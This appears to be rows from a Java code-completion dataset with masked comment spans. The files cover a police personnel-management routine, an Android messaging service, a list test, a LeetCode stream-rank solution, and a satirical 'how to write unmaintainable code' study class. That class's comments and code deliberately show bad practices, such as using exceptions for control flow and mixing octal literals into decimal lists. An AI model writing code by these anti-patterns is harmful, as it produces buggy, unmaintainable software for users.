Map<String, Object> appMap = new HashMap<String, Object>();
appMap.put("appId", 1);
appMap.put("userId", object);
ISaveHandler saveAppHandler = SpringUtils.getBean("userallotappSaveHandler", ISaveHandler.class);
saveAppHandler.save(appMap);// app
if (person.getDepartCode() != null || "".equals(person.getDepartCode())) {
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "DEPARTID");
Map<String, Object> departIdmap = (Map<String, Object>) baseService
.get(person.getDepartCode().toString());
Map<String, Object> departMap = new HashMap<String, Object>();
departMap.put("userId", object);
departMap.put("departId", departIdmap.get("id"));
departMap.put("appId", 1);
ISaveHandler saveDepartHandler = SpringUtils.getBean("userallotdepartSaveHandler",
ISaveHandler.class);
saveDepartHandler.save(departMap);// depart
}
if (person.getRole() != null || "".equals(person.getRole())) {
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "ROLEID");
Map<String, Object> roleIdmap = (Map<String, Object>) baseService.get(person.getRole().toString());
Map<String, Object> roleMap = new HashMap<String, Object>();
roleMap.put("roleId", roleIdmap.get("id"));
roleMap.put("appId", 1);
roleMap.put("userId", object);
ISaveHandler saveRoleHandler = SpringUtils.getBean("userallotroleSaveHandler", ISaveHandler.class);
saveRoleHandler.save(roleMap);// role
}
} else {
messge = messge + "," + person.getUserName();
}
}
if (messge.length() > 2) {
return messge;
} else {
return "true";
}
}
private boolean validation(personVo person) throws Exception {
if (person.getIdNumber() == null || "".equals(person.getIdNumber())) {
return false;
} else if (person.getName() == null || "".equals(person.getName())) {
return false;
} else if (person.getPhone() == null || "".equals(person.getPhone())) {
return false;
} else if (person.getSex() == null || "".equals(person.getSex())) {
return false;
} else if (person.getUserName() == null || "".equals(person.getUserName())) {
return false;
} else if (person.getUserSort() == null || "".equals(person.getUserSort())) {
return false;
}
if ("男".equals(person.getSex())) {
person.setSex("0");
} else if ("女".equals(person.getSex())) {
person.setSex("1");
} else if ("不详".equals(person.getSex())) {
person.setSex("2");
}
if ("民警".equals(person.getUserSort())) {
person.setUserSort("1");
} else if ("辅警".equals(person.getUserSort())) {
person.setUserSort("2");
} else if ("工勤".equals(person.getUserSort())) {
person.setUserSort("3");
}
Map<String, Object> map = new HashMap<String, Object>();
LocalThreadStorage.put(Constant.CONTROLLER_ALIAS, "USERNAME");
map.put("userName", person.getUserName());
List<Map<String, Object>> roleIdmap = (List<Map<String, Object>>) baseService.list(map);
if (roleIdmap != null && roleIdmap.size() > 0) {
return false;
}
return true;
}
private List<Map<String, Object>> tolist(List<Map<String, Object>> list) {
int i = 1;
for (Map<String, Object> map : list) {
map.put("sequence", i + "");
String departLevel = String.valueOf(map.get("departLevel"));
if ("1".equals(departLevel)) {
map.put("departLevel", "正厅级");
} else if ("2".equals(departLevel)) {
map.put("departLevel", "副厅级");
} else if ("3".equals(departLevel)) {
map.put("departLevel", "正处级");
} else if ("4".equals(departLevel)) {
map.put("departLevel", "副处级");
} else if ("5".equals(departLevel)) {
map.put("departLevel", "正科级");
} else if ("6".equals(departLevel)) {
map.put("departLevel", "副科级");
} else if ("7".equals(departLevel)) {
map.put("departLevel", "副科级以下");
}
i++;
}
return list;
}
private List<Map<String, Object>> userlist(List<Map<String, Object>> list) {
int i = 1;
for (Map<String, Object> map : list) {
map.put("sequence", i + "");
String userIdNumber = String.valueOf(map.get("userIdNumber"));
String idCard = "";
if (userIdNumber.length() == 15) {
idCard = userIdNumber.replaceAll("(?<=\\w{9})\\w(?=\\w{0})", "*");
} else if (userIdNumber.length() == 18) {
idCard = userIdNumber.replaceAll("(?<=\\w{12})\\w(?=\\w{0})", "*");
}
map.put("userIdNumber", idCard);
String userSex = String.valueOf(map.get("userSex"));
if ("0".equals(userSex)) {
map.put("userSex", "男");
} else if ("1".equals(userSex)) {
map.put("userSex", "女");
} else if ("2".equals(userSex)) {
map.put("userSex", "未知");
}
String workerGrade = String.valueOf(map.get("workerGrade"));
if ("1".equals(workerGrade)) {
map.put("workerGrade", "副厅级");
} else if ("2".equals(workerGrade)) {
map.put("workerGrade", "一级高级警长");
} else if ("3".equals(workerGrade)) {
map.put("workerGrade", "二级高级警长");
} else if ("4".equals(workerGrade)) {
map.put("workerGrade", "三级高级警长");
} else if ("5".equals(workerGrade)) {
map.put("workerGrade", "四级高级警长");
} else if ("6".equals(workerGrade)) {
map.put("workerGrade", "一级警长");
} else if ("7".equals(workerGrade)) {
map.put("workerGrade", "二级警长");
} else if ("8".equals(workerGrade)) {
map.put("workerGrade", "三级警长");
} else if ("9".equals(workerGrade)) {
map.put("workerGrade", "四级警长");
} else if ("10".equals(workerGrade)) {
map.put("workerGrade", "一级警员");
} else if ("11".equals(workerGrade)) {
map.put("workerGrade", "二级警员");
} else if ("12".equals(workerGrade)) {
map.put("workerGrade", "无");
}
String workerDuty = String.valueOf(map.get("workerDuty"));
String departType = String.valueOf(map.get("departType"));
if ("1".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "总队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "政委");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副总队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "队(科)长");
} else if ("5".equals(workerDuty)) {
map.put("workerDuty", "副队(科)长");
} else if ("6".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("2".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "支队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "政委");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副支队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "大队(科)长");
} else if ("5".equals(workerDuty)) {
map.put("workerDuty", "副大队(科)长");
} else if ("6".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("3".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "大队长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "教导员");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副大队长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "无");
}
} else if ("4".equals(departType)) {
if ("1".equals(workerDuty)) {
map.put("workerDuty", "所长");
} else if ("2".equals(workerDuty)) {
map.put("workerDuty", "教导员");
} else if ("3".equals(workerDuty)) {
map.put("workerDuty", "副所长");
} else if ("4".equals(workerDuty)) {
map.put("workerDuty", "无");
}
}
String userSort = String.valueOf(map.get("userSort"));
if ("1".equals(userSort)) {
map.put("userSort", "民警");
} else if ("2".equals(userSort)) {
map.put("userSort", "辅警");
} else if ("3".equals(userSort)) {
map.put("userSort", "工勤");
}
String userState = String.valueOf(map.get("userState"));
if ("1".equals(userSort)) {
if ("1".equals(userState)) {
map.put("userState", "在职");
} else if ("2".equals(userState)) {
map.put("userState", "调离");
} else if ("3".equals(userState)) {
map.put("userState", "病休");
} else if ("4".equals(userState)) {
map.put("userState", "退休");
} else if ("5".equals(userState)) {
map.put("userState", "其他");
}
} else {
if ("1".equals(userState)) {
map.put("userState", "在职");
} else if ("2".equals(userState)) {
map.put("userState", "调离");
} else if ("3".equals(userState)) {
map.put("userState", "退休");
} else if ("4".equals(userState)) {
map.put("userState", "其他");
}
}
i++;
}
return list;
}
}
| 0 |
43482_32 | package com.walker.common.study;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
import org.apache.commons.collections.CollectionUtils;
import com.walker.common.util.ThreadUtil;
import com.walker.common.util.Tools;
import com.walker.common.util.ThreadUtil.Type;
/**
* 如何写出无法维护的代码
*
*/
public class SomethingTest {
public static void main(String[] args) {
// new Test();
testSort();
}
public static void testSort(){
int arr[] = {0,3,2,1,4,5,6,2};
List<Integer> list = new ArrayList();
for(int i : arr){
list.add(i);
}
Tools.out(list);
Collections.sort(list);
Tools.out(list);
long time, time2;
time = System.currentTimeMillis();
Comparator com = new Comparator<Map>(){
@Override
public int compare(Map o1, Map o2) {
return o1.get("key").toString().compareTo(o2.get("key").toString());
}
};
for(int count = 1000; count < 10000000; count*=2){
List<Map> listMap1 = new ArrayList<Map>();
List<Map> listMap = new ArrayList<Map>();
for(int i = 0; i < count; i++){
Map map = new HashMap();
map.put("key", (int)(Math.random()*1000));
listMap.add(map);
listMap1.add(map);
}
time2 = System.currentTimeMillis();
Tools.out("make list", count, Tools.calcTime(time2 - time));
time = time2;
// Tools.out(listMap);
Collections.sort(listMap, com);
// Tools.out(listMap);
time2 = System.currentTimeMillis();
Tools.out("sort list com", Tools.calcTime(time2 - time), count);
time = time2;
// Tools.out(listMap1);
// for(int i = 0; i < listMap1.size() - 1; i++){
// for(int j = i+1; j < listMap1.size(); j++){
// if(com.compare(listMap1.get(i), listMap1.get(j)) > 0)
// Collections.swap(listMap1, i, j);
// }
// }
// Tools.out(listMap1);
time2 = System.currentTimeMillis();
// Tools.out("sort list for", Tools.calcTime(time2 - time), count);
time = time2;
}
}
public static void testInt(){
int a = 32768;//15
int aa = a*a;//30
out(aa, "30");
out(aa-1+aa, "31-1");//31-1
out(aa+aa-1, "31-1 flow 不影响");//31-1
out(aa+aa, "31");//31
out(-aa+1-aa, "-31+1");//-31+1
out(-aa-aa, "-31");//-31
out(-aa-aa-1, "-31-1");//-31
out("-31", -2*aa, "31-1", aa*2-1);
out(aa*4);//33
}
SomethingTest(){
// defineWord();
}
public void testThread(){
final String name = "T-master";
ThreadUtil.execute(Type.DefaultThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out(name, tt++);
ThreadUtil.sleep(1000);
if(tt > 30)
break;
}
}
});
for(int i = 0; i < 1; i++){
final int name1 = i;
ThreadUtil.execute(Type.DefaultThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("T"+name1, Tools.getFill(name1, " - "), tt++);
ThreadUtil.sleep(200);
if(tt > 10)
break;
}
}
});
}
final LinkedBlockingDeque<Object> lbq = new LinkedBlockingDeque<>();
final String name2 = "T-master-2";
ThreadUtil.execute(Type.SingleThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("定时添加任务到队列", name2, tt++);
lbq.add("队列任务" + tt);
ThreadUtil.sleep(1000);
if(tt > 10)
break;
}
}
});
// add 增加一个元索 如果队列已满,则抛出一个IIIegaISlabEepeplian异常
// remove 移除并返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常
// element 返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常
// offer 添加一个元素并返回true 如果队列已满,则返回false
// poll 移除并返问队列头部的元素 如果队列为空,则返回null
// peek 返回队列头部的元素 如果队列为空,则返回null
// put 添加一个元素 如果队列满,则阻塞
// take 移除并返回队列头部的元素 如果队列为空,则阻塞
ThreadUtil.scheduleWithFixedDelay(new Runnable() {
@Override
public void run() {
if(lbq.peek() != null)
Tools.out("----执行任务", lbq.remove());
else
Tools.out("----无任务-----");
}
}, 3, 2, TimeUnit.SECONDS);
ThreadUtil.execute(Type.SingleThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("定时添加任务到队列1", name2, tt++);
lbq.add("任务!!---!" + tt);
ThreadUtil.sleep(10000);
if(tt > 10)
break;
}
}
});
}
int arr = 0; //全局命名重用为私有
void defineWord(){
int arr = 1;
int α = 1;
Tools.out(α);
long l = 10l, ll = 101l, li1l = 1011L;
String mnnrnvuw;
int O = 0;
int a = 1;/* main
int b = 2; * loop
int c = 3; */
int d = 4;
isValid(-1);
}
public static void out(Object...objects){
Tools.out(objects);
}
boolean isValid(int x){
/* 给 i 加 1 */
//但是永远不要记录包或者方法的整体设计这样的干货。
//只解释一个程序功能的细节,而不是它要完成的任务是什么。
//如果你怀疑某个类里可能有bug,天知地知你知就好
//永远不要对变量声明加注释。有关变量使用的方式、边界值、合法值、小数点后的位数、计量单位、显示格式、数据录入规则等等,后继者完全可以自己从程序代码中去理解和整理嘛
// 避免使用 assert() 机制
// 为了提高效率,不要使用封装。方法的调用者需要所有能得到的外部信息,以便了解方法的内部是如何工作的。
// 把八进制数混到十进制数列表里,就像这样:
int arr[] = {111, 120, 013, 121};
// C编译器会把 myArray[i] 转换成 *(myArray + i),它等同于 *(i + myArray) 也等同于 i[myArray]。
// 在非异常条件下才要使用异常。比如终止循环就可以用 ArrayIndexOutOfBoundsException。还可以从异常里的方法返回标准的结果。
int re=0;
try {
re = s_um(10);
} catch (Exception e) {
//e.printStackTrace();
re = Tools.parseInt(e.getMessage());
}
Tools.out("exception res sum = " ,re);
for(int man = 0 ; man < 100; man++,man++){
}
assert(x > 0);
Tools.out(x);
return x*2>0?true:false;
}
int s_um(int i) throws Exception{
int res = 0;
int j = 0;
j=1;
for(int va=0;va<i;va++){
res += va;
if(va == i-1)
throw new Exception(res + "");
}
return -1;
}
// FORTRAN
//
// 用 FORTRAN 写所有的代码。如果老板问你为啥,你可以回答说它有很多非常有用的库,你用它可以节约时间。不过,用 FORTRAN 写出可维护代码的概率是 0,所以,要达到不可维护代码编程指南里的要求就容易多了。
// 用 ASM
//
// 把所有的通用工具函数都转成汇编程序。
// 用 QBASIC
//
// 所有重要的库函数都要用 QBASIC 写,然后再写个汇编的封包程序来处理 large 到 medium 的内存模型映射。
// 内联汇编
//
// 在你的代码里混杂一些内联的汇编程序,这样很好玩。这年头几乎没人懂汇编程序了。只要放几行汇编代码就能让维护代码的程序员望而却步。
// 宏汇编调用C
//
// 如果你有个汇编模块被C调用,那就尽可能经常从汇编模块再去调用C,即使只是出于微不足道的用途,另外要充分利用 goto, bcc 和其他炫目的汇编秘籍。
//源码和编译jar包代码不一致!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//定义常量覆盖专用词语
// 定义一个叫 TRUE 的静态常量。在这种情况下,其他程序员更有可能怀疑你干的不是好事,因为Java里已经有了内建的标识符 true。
//未使用变量i=i
}
| 1424234500/BaseSSM | src/com/walker/common/study/SomethingTest.java | 2,875 | //但是永远不要记录包或者方法的整体设计这样的干货。
| line_comment | zh-cn | package com.walker.common.study;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
import org.apache.commons.collections.CollectionUtils;
import com.walker.common.util.ThreadUtil;
import com.walker.common.util.Tools;
import com.walker.common.util.ThreadUtil.Type;
/**
* 如何写出无法维护的代码
*
*/
public class SomethingTest {
public static void main(String[] args) {
// new Test();
testSort();
}
public static void testSort(){
int arr[] = {0,3,2,1,4,5,6,2};
List<Integer> list = new ArrayList();
for(int i : arr){
list.add(i);
}
Tools.out(list);
Collections.sort(list);
Tools.out(list);
long time, time2;
time = System.currentTimeMillis();
Comparator com = new Comparator<Map>(){
@Override
public int compare(Map o1, Map o2) {
return o1.get("key").toString().compareTo(o2.get("key").toString());
}
};
for(int count = 1000; count < 10000000; count*=2){
List<Map> listMap1 = new ArrayList<Map>();
List<Map> listMap = new ArrayList<Map>();
for(int i = 0; i < count; i++){
Map map = new HashMap();
map.put("key", (int)(Math.random()*1000));
listMap.add(map);
listMap1.add(map);
}
time2 = System.currentTimeMillis();
Tools.out("make list", count, Tools.calcTime(time2 - time));
time = time2;
// Tools.out(listMap);
Collections.sort(listMap, com);
// Tools.out(listMap);
time2 = System.currentTimeMillis();
Tools.out("sort list com", Tools.calcTime(time2 - time), count);
time = time2;
// Tools.out(listMap1);
// for(int i = 0; i < listMap1.size() - 1; i++){
// for(int j = i+1; j < listMap1.size(); j++){
// if(com.compare(listMap1.get(i), listMap1.get(j)) > 0)
// Collections.swap(listMap1, i, j);
// }
// }
// Tools.out(listMap1);
time2 = System.currentTimeMillis();
// Tools.out("sort list for", Tools.calcTime(time2 - time), count);
time = time2;
}
}
public static void testInt(){
int a = 32768;//15
int aa = a*a;//30
out(aa, "30");
out(aa-1+aa, "31-1");//31-1
out(aa+aa-1, "31-1 flow 不影响");//31-1
out(aa+aa, "31");//31
out(-aa+1-aa, "-31+1");//-31+1
out(-aa-aa, "-31");//-31
out(-aa-aa-1, "-31-1");//-31
out("-31", -2*aa, "31-1", aa*2-1);
out(aa*4);//33
}
SomethingTest(){
// defineWord();
}
public void testThread(){
final String name = "T-master";
ThreadUtil.execute(Type.DefaultThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out(name, tt++);
ThreadUtil.sleep(1000);
if(tt > 30)
break;
}
}
});
for(int i = 0; i < 1; i++){
final int name1 = i;
ThreadUtil.execute(Type.DefaultThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("T"+name1, Tools.getFill(name1, " - "), tt++);
ThreadUtil.sleep(200);
if(tt > 10)
break;
}
}
});
}
final LinkedBlockingDeque<Object> lbq = new LinkedBlockingDeque<>();
final String name2 = "T-master-2";
ThreadUtil.execute(Type.SingleThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("定时添加任务到队列", name2, tt++);
lbq.add("队列任务" + tt);
ThreadUtil.sleep(1000);
if(tt > 10)
break;
}
}
});
// add 增加一个元索 如果队列已满,则抛出一个IIIegaISlabEepeplian异常
// remove 移除并返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常
// element 返回队列头部的元素 如果队列为空,则抛出一个NoSuchElementException异常
// offer 添加一个元素并返回true 如果队列已满,则返回false
// poll 移除并返问队列头部的元素 如果队列为空,则返回null
// peek 返回队列头部的元素 如果队列为空,则返回null
// put 添加一个元素 如果队列满,则阻塞
// take 移除并返回队列头部的元素 如果队列为空,则阻塞
ThreadUtil.scheduleWithFixedDelay(new Runnable() {
@Override
public void run() {
if(lbq.peek() != null)
Tools.out("----执行任务", lbq.remove());
else
Tools.out("----无任务-----");
}
}, 3, 2, TimeUnit.SECONDS);
ThreadUtil.execute(Type.SingleThread, new Runnable() {
public void run() {
int tt = 0;
while(true){
Tools.out("定时添加任务到队列1", name2, tt++);
lbq.add("任务!!---!" + tt);
ThreadUtil.sleep(10000);
if(tt > 10)
break;
}
}
});
}
int arr = 0; //全局命名重用为私有
void defineWord(){
int arr = 1;
int α = 1;
Tools.out(α);
long l = 10l, ll = 101l, li1l = 1011L;
String mnnrnvuw;
int O = 0;
int a = 1;/* main
int b = 2; * loop
int c = 3; */
int d = 4;
isValid(-1);
}
public static void out(Object...objects){
Tools.out(objects);
}
boolean isValid(int x){
/* 给 i 加 1 */
//但是 <SUF>
//只解释一个程序功能的细节,而不是它要完成的任务是什么。
//如果你怀疑某个类里可能有bug,天知地知你知就好
//永远不要对变量声明加注释。有关变量使用的方式、边界值、合法值、小数点后的位数、计量单位、显示格式、数据录入规则等等,后继者完全可以自己从程序代码中去理解和整理嘛
// 避免使用 assert() 机制
// 为了提高效率,不要使用封装。方法的调用者需要所有能得到的外部信息,以便了解方法的内部是如何工作的。
// 把八进制数混到十进制数列表里,就像这样:
int arr[] = {111, 120, 013, 121};
// C编译器会把 myArray[i] 转换成 *(myArray + i),它等同于 *(i + myArray) 也等同于 i[myArray]。
// 在非异常条件下才要使用异常。比如终止循环就可以用 ArrayIndexOutOfBoundsException。还可以从异常里的方法返回标准的结果。
int re=0;
try {
re = s_um(10);
} catch (Exception e) {
//e.printStackTrace();
re = Tools.parseInt(e.getMessage());
}
Tools.out("exception res sum = " ,re);
for(int man = 0 ; man < 100; man++,man++){
}
assert(x > 0);
Tools.out(x);
return x*2>0?true:false;
}
int s_um(int i) throws Exception{
int res = 0;
int j = 0;
j=1;
for(int va=0;va<i;va++){
res += va;
if(va == i-1)
throw new Exception(res + "");
}
return -1;
}
// FORTRAN
//
// 用 FORTRAN 写所有的代码。如果老板问你为啥,你可以回答说它有很多非常有用的库,你用它可以节约时间。不过,用 FORTRAN 写出可维护代码的概率是 0,所以,要达到不可维护代码编程指南里的要求就容易多了。
// 用 ASM
//
// 把所有的通用工具函数都转成汇编程序。
// 用 QBASIC
//
// 所有重要的库函数都要用 QBASIC 写,然后再写个汇编的封包程序来处理 large 到 medium 的内存模型映射。
// 内联汇编
//
// 在你的代码里混杂一些内联的汇编程序,这样很好玩。这年头几乎没人懂汇编程序了。只要放几行汇编代码就能让维护代码的程序员望而却步。
// 宏汇编调用C
//
// 如果你有个汇编模块被C调用,那就尽可能经常从汇编模块再去调用C,即使只是出于微不足道的用途,另外要充分利用 goto, bcc 和其他炫目的汇编秘籍。
//源码和编译jar包代码不一致!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//定义常量覆盖专用词语
// 定义一个叫 TRUE 的静态常量。在这种情况下,其他程序员更有可能怀疑你干的不是好事,因为Java里已经有了内建的标识符 true。
//未使用变量i=i
}
| 0 |
53833_20 | package service;
import com.cc.Constant;
import com.cc.R;
import interfac.CallString;
import net.Client;
import net.MSGTYPE;
import net.Msg;
import util.AndroidTools;
import util.Tools;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.Message;
import android.support.v4.app.NotificationCompat;
import android.support.v4.content.LocalBroadcastManager;
public class NetService extends Service implements CallString {
public Client client;//网络工具
LocalBroadcastManager localBroadcastManager; //本地的activity广播机制
NotificationManager notificationManager;//推送栏广播
@Override
public void onCreate() {
super.onCreate();
out(" onCreate ");
notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);//推送栏广播
localBroadcastManager = LocalBroadcastManager.getInstance(this);
client = new net.impl.mina.ClientImpl(){
@Override
public void onReceive(String str) {
callback(str);
}
};
client.start();
}
@Override
public void onDestroy() {
client.stop(); //关闭service时自动关闭net连接
super.onDestroy();
out(" onDestroy ");
}
//之后多次startService方式来传递指令
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if(intent != null){
Bundle bun = intent.getExtras();
if(bun != null) {
String jsonstr =bun.getString("msg");
if(Tools.notNull( jsonstr)){
out(" onStartCommand." + jsonstr);
this.client.send(jsonstr);
}else{
out("NetService. onStartCommand intent.getExtras().getString('msg') 为null ???");
}
if(Tools.notNull(bun.getString("socket"))){ //socket重连指令
this.client.reconnect(bun.getString("socket"));
}
}else{
out("NetService. onStartCommand intent.getExtras() 为null ???");
}
}else{
out("NetService. onStartCommand intent 为null ???");
}
return super.onStartCommand(intent, flags, startId);
}
public void out(String str) {
// AndroidTools.out( "NetService." + str);
}
//获取client从服务器收到的消息串,包装作为广播发送给 activitys
@Override
public void callback(String jsonstr) {
// switch(JsonUtil.getCmd(jsonstr)){
// case MSGTYPE.CLOSE : //服务器传来的关闭net
// //this.client.stop();
// return;
// case MSGTYPE.BEATS: //服务器测试心跳
// //this.client.send(JsonUtil.makeJson(MSGTYPE.BEATS, "1"));
// return;
// }
// out("get."+jsonstr);
Msg msg = new Msg(jsonstr);
jsonstr = msg.getDataJson(); //消息体中的实际消息包 除去中转系统转发参数
String type = msg.get("type", ""); //文本中转消息 中 的 推送提示消息
if(type.equals("push")){
// Looper.prepare(); //主线程中自动创建 子线程中需手动创建
push(msg);
}
switch(msg.getMsgType()){
case Msg.BROADCAST_SYS:
case Msg.BROADCAST:
AndroidTools.out(msg.get("info", "广播"));
case Msg.DATA:
localBroadcastManager.sendBroadcast(new Intent(MSGTYPE.broadcastUrl).putExtra("msg", jsonstr)); //发送应用内广播
break;
}
}
public void push(Msg msg){
String title = msg.get("title","title");
String text = msg.get("text","text");
String ticker = msg.get("ticker","ticker");
Notification notification = new Notification.Builder(this)
.setSmallIcon(R.drawable.ic_launcher)//设置小图标
.setContentTitle(title)
.setContentText(text)
.build();
notification.flags = Notification.FLAG_AUTO_CANCEL;
notificationManager.notify(0, notification);
AndroidTools.systemVoiceToast(this);
}
@Override
public IBinder onBind(Intent arg0) {
return null;
}
}
| 1424234500/cc | app/src/main/java/service/NetService.java | 1,189 | //发送应用内广播
| line_comment | zh-cn | package service;
import com.cc.Constant;
import com.cc.R;
import interfac.CallString;
import net.Client;
import net.MSGTYPE;
import net.Msg;
import util.AndroidTools;
import util.Tools;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.os.Message;
import android.support.v4.app.NotificationCompat;
import android.support.v4.content.LocalBroadcastManager;
public class NetService extends Service implements CallString {
public Client client;//网络工具
LocalBroadcastManager localBroadcastManager; //本地的activity广播机制
NotificationManager notificationManager;//推送栏广播
@Override
public void onCreate() {
super.onCreate();
out(" onCreate ");
notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);//推送栏广播
localBroadcastManager = LocalBroadcastManager.getInstance(this);
client = new net.impl.mina.ClientImpl(){
@Override
public void onReceive(String str) {
callback(str);
}
};
client.start();
}
@Override
public void onDestroy() {
client.stop(); //关闭service时自动关闭net连接
super.onDestroy();
out(" onDestroy ");
}
//之后多次startService方式来传递指令
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if(intent != null){
Bundle bun = intent.getExtras();
if(bun != null) {
String jsonstr =bun.getString("msg");
if(Tools.notNull( jsonstr)){
out(" onStartCommand." + jsonstr);
this.client.send(jsonstr);
}else{
out("NetService. onStartCommand intent.getExtras().getString('msg') 为null ???");
}
if(Tools.notNull(bun.getString("socket"))){ //socket重连指令
this.client.reconnect(bun.getString("socket"));
}
}else{
out("NetService. onStartCommand intent.getExtras() 为null ???");
}
}else{
out("NetService. onStartCommand intent 为null ???");
}
return super.onStartCommand(intent, flags, startId);
}
public void out(String str) {
// AndroidTools.out( "NetService." + str);
}
//获取client从服务器收到的消息串,包装作为广播发送给 activitys
@Override
public void callback(String jsonstr) {
// switch(JsonUtil.getCmd(jsonstr)){
// case MSGTYPE.CLOSE : //服务器传来的关闭net
// //this.client.stop();
// return;
// case MSGTYPE.BEATS: //服务器测试心跳
// //this.client.send(JsonUtil.makeJson(MSGTYPE.BEATS, "1"));
// return;
// }
// out("get."+jsonstr);
Msg msg = new Msg(jsonstr);
jsonstr = msg.getDataJson(); //消息体中的实际消息包 除去中转系统转发参数
String type = msg.get("type", ""); //文本中转消息 中 的 推送提示消息
if(type.equals("push")){
// Looper.prepare(); //主线程中自动创建 子线程中需手动创建
push(msg);
}
switch(msg.getMsgType()){
case Msg.BROADCAST_SYS:
case Msg.BROADCAST:
AndroidTools.out(msg.get("info", "广播"));
case Msg.DATA:
localBroadcastManager.sendBroadcast(new Intent(MSGTYPE.broadcastUrl).putExtra("msg", jsonstr)); //发送 <SUF>
break;
}
}
public void push(Msg msg){
String title = msg.get("title","title");
String text = msg.get("text","text");
String ticker = msg.get("ticker","ticker");
Notification notification = new Notification.Builder(this)
.setSmallIcon(R.drawable.ic_launcher)//设置小图标
.setContentTitle(title)
.setContentText(text)
.build();
notification.flags = Notification.FLAG_AUTO_CANCEL;
notificationManager.notify(0, notification);
AndroidTools.systemVoiceToast(this);
}
@Override
public IBinder onBind(Intent arg0) {
return null;
}
}
| 0 |
52963_4 | package com.wang.structure;
public class TestList {
public void test(){
//创建顺序表对象
SequenceList<String> sl = new SequenceList<>(10);
//测试插入
sl.insert("姚明");
sl.insert("科比");
sl.insert("麦迪");
sl.insert(1,"詹姆斯");
//测试获取
String getResult = sl.get(1);
System.out.println("获取索引1处的结果为:"+getResult);
//测试删除
String removeResult = sl.remove(0);
System.out.println("删除的元素是:"+removeResult);
//测试清空
sl.clear();
System.out.println("清空后的线性表中的元素个数为:"+sl.length());
}
}
| 1457668696/learn | Java/structure/TestList.java | 186 | //测试清空 | line_comment | zh-cn | package com.wang.structure;
public class TestList {
public void test(){
//创建顺序表对象
SequenceList<String> sl = new SequenceList<>(10);
//测试插入
sl.insert("姚明");
sl.insert("科比");
sl.insert("麦迪");
sl.insert(1,"詹姆斯");
//测试获取
String getResult = sl.get(1);
System.out.println("获取索引1处的结果为:"+getResult);
//测试删除
String removeResult = sl.remove(0);
System.out.println("删除的元素是:"+removeResult);
//测试 <SUF>
sl.clear();
System.out.println("清空后的线性表中的元素个数为:"+sl.length());
}
}
| 0 |
57819_4 | 假设你正在读取一串整数。每隔一段时间,你希望能找出数字 x 的秩(小于或等于 x 的值的个数)。请实现数据结构和算法来支持这些操作,也就是说:
实现 track(int x) 方法,每读入一个数字都会调用该方法;
实现 getRankOfNumber(int x) 方法,返回小于或等于 x 的值的个数。
注意:本题相对原题稍作改动
示例:
输入:
["StreamRank", "getRankOfNumber", "track", "getRankOfNumber"]
[[], [1], [0], [0]]
输出:
[null,0,null,1]
提示:
x <= 50000
track 和 getRankOfNumber 方法的调用次数均不超过 2000 次
//思路①、使用 map 记录某个值出现的次数,获取秩的时候遍历 [0, val],当然,我们默认最小值为 0,如果存在负数,那么就不可靠
class StreamRank {
/*
需要每次插入 一个数 就进行一次调整
*/
Map<Integer, Integer> map;
public StreamRank() {
map = new HashMap<>();
}
public void track(int x) {
map.put(x, map.getOrDefault(x, 0) + 1);
}
public int getRankOfNumber(int x) {
int sum = 0;
for(int i = 0; i <= x; i++){
sum += map.getOrDefault(i, 0);
}
return sum;
}
}
//思路②、实现二叉搜索树
class StreamRank {
/*
实现二叉搜索树
我们将小于等于 this.val 的值插在 this 的左子树,然后,顺便 leftSize++
这意味着 this 节点的 leftSize 记录的是它左子树的节点个数
*/
class BST {
TreeNode root;
public BST() {
}
public void insert(int val) {
if (root == null) {
root = new TreeNode(val);
} else {
root.insert(val);
}
}
public int find(int val) {
if (root == null) {
return 0;
}
return root.find(val);
}
class TreeNode {
TreeNode left;
TreeNode right;
int val;
int leftSize = 1; //本身秩为 1
public TreeNode(int val) {
this.val = val;
}
public void insert(int val) {
//同值也插在 left
if (this.val >= val) {
this.leftSize++;
if (this.left == null) {
